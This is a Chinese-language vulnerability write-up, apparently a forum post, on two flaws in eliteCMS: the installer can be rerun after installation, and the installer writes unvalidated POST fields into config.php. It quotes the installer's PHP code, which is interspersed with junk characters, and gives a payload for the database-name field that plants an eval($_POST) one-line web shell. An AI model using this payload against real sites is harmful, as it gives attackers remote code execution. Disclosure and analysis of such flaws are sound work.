eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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8 ^4 O3 Y0 O7 T: G4 z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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; a$ L0 m. \5 ?$ ]0 o* felseif ($_GET['step'] == "4") {
- r- J0 o: c5 A% g* h, e    $file = "../admin/includes/config.php";
    $write = "<?php\n";
% R7 Y; }6 y, w! E) V    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
- F$ _3 o1 z# \1 @    $write .= "\n";
; A; k' u" _/ `' H6 c2 P- @+ n    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; v* S0 r8 O, |# h) B/ L, H6 j    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- r3 m3 ~) D- c7 r* D7 D& u    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# A% r! i* A. k( @" R1 N% \' M    $write .= "if (!\$connection) {\n";
- L: ?4 r; Q+ x" U( X7 ~0 r    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
6 b% F: h% s8 P2 e0 S$ w    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
" ~+ g) Y  g2 _- c' V0 s4 c4 x    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
' g3 c- y* v# E# e9 E: U    $write .= "?>\n";
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$ I/ E1 Z3 g7 @( N  b: u7 y    $writer = fopen($file, 'w');
...
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1 U* `, W6 J6 ?7 Z: c7 L+ D6 q& n在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
% @# N; C2 Y" U; M+ i* M1 j$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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+ y$ `5 h# f; m$ x- d! {* A取值未作任何验证
* K, C& H2 b; r! f, t如果将数据库名POST数据：
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- |5 K6 \' q5 \6 h"?><?php eval($_POST[c]);?><?php

9 t6 X; N. K+ D/ Y' `" O' ?0 W将导致一句话后门写入/admin/includes/config.php
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